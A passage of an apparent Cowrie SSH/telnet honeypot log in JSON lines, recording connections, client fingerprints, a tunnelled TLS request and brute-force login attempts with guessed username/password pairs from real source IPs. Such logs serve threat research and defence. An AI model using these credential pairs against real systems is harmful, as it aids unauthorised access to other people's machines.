\\xa9OI\\x1b0\\x0c\\r~\\xafo\\x00\"@i\\xb5.aG\\x0e^Av\\x98\\xf1\\x92]Z\\xe8O@\\xcc\\x18\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.346498Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.631006Z","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.914235Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\xf0\\xb8U\\xe0FY\\xdc\\xe8\\'\\xe8;j\\x84\\xd0\\x92\\xb8\\x06\\xd0\\x18]\\xbf\\xe5\\x9a1\\xfa$}\\x97\\xbb?@ iC\\x9a\\xe9n\\xc2\\x11/\\x13\\xde\\x90\\n\\xf0\\xce\\xde,WLN\\xaf\\x0c\\x9cEg\\xee\\xfe\\xc5\\x05ZX\\x91n\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdd+\\x1f\\xd2kAq\\xfd\\x04P\\'\\xe3\\x07\\xba`;fA!\\x12\\x013\\x18\\xc5\\x9a\\x07\\xb7@\\xc8\\xfa\\xf1\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\xf0\\xb8U\\xe0FY\\xdc\\xe8\\'\\xe8;j\\x84\\xd0\\x92\\xb8\\x06\\xd0\\x18]\\xbf\\xe5\\x9a1\\xfa$}\\x97\\xbb?@ iC\\x9a\\xe9n\\xc2\\x11/\\x13\\xde\\x90\\n\\xf0\\xce\\xde,WLN\\xaf\\x0c\\x9cEg\\xee\\xfe\\xc5\\x05ZX\\x91n\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdd+\\x1f\\xd2kAq\\xfd\\x04P\\'\\xe3\\x07\\xba`;fA!\\x12\\x013\\x18\\xc5\\x9a\\x07\\xb7@\\xc8\\xfa\\xf1\\x10\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:19.918433Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":34646,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca22da2b07f2","protocol":"ssh","message":"New connection: 194.59.206.2:34646 (10.17.0.5:22) [session: ca22da2b07f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:20.136026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:20.141101Z","src_ip":"194.59.206.2","session":"ca22da2b07f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:20.230954Z","src_ip":"194.59.206.2","session":"ca22da2b07f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:20.326204Z","src_ip":"194.59.206.2","session":"ca22da2b07f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:20.504749Z","src_ip":"113.164.152.20","session":"c8f9196fc8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.1","message":"Connection lost after 44.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:27.164231Z","src_ip":"173.208.192.194","session":"8eb86ab65a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59086,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce2f8e9ad49f","protocol":"telnet","message":"New connection: 172.81.62.90:59086 (159.203.135.109:23) [session: ce2f8e9ad49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:40.241888Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":49906,"dst_ip":"159.203.135.109","dst_port":22,"session":"217887120497","protocol":"ssh","message":"New connection: 2.99.213.222:49906 (159.203.135.109:22) [session: 217887120497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:45.634430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:45.638838Z","src_ip":"2.99.213.222","session":"217887120497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:45.740057Z","src_ip":"2.99.213.222","session":"217887120497","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"console","password":"console","message":"login attempt [console/console] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:46.184092Z","src_ip":"2.99.213.222","session":"217887120497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:47.288625Z","src_ip":"2.99.213.222","session":"217887120497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.891066789627075,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:58.054068Z","src_ip":"128.199.8.54","session":"320e3ba52fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":60116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b22596526b02","protocol":"ssh","message":"New connection: 23.175.50.52:60116 (10.17.0.5:22) [session: b22596526b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:59.338200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:59.342314Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:13:59.505064Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:02.953393Z","src_ip":"23.175.50.52","session":"b22596526b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":49652,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0ea017abd7","protocol":"ssh","message":"New connection: 41.90.100.147:49652 (159.203.135.109:22) [session: 8f0ea017abd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:06.602559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:06.608043Z","src_ip":"41.90.100.147","session":"8f0ea017abd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:06.831590Z","src_ip":"41.90.100.147","session":"8f0ea017abd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz123123","message":"login attempt [root/Zz123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:07.740292Z","src_ip":"41.90.100.147","session":"8f0ea017abd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59104,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ededd609b00","protocol":"ssh","message":"New connection: 103.77.242.62:59104 (10.17.0.5:22) [session: 3ededd609b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:08.215546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:08.221369Z","src_ip":"103.77.242.62","session":"3ededd609b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:08.461847Z","src_ip":"103.77.242.62","session":"3ededd609b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61188,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b7d88cbdb47","protocol":"ssh","message":"New connection: 123.27.168.40:61188 (10.17.0.5:22) [session: 6b7d88cbdb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:08.950651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:08.956237Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:08.965425Z","src_ip":"41.90.100.147","session":"8f0ea017abd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290584","message":"login attempt [root/290584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:09.177146Z","src_ip":"103.77.242.62","session":"3ededd609b00","protocol":"ssh"}
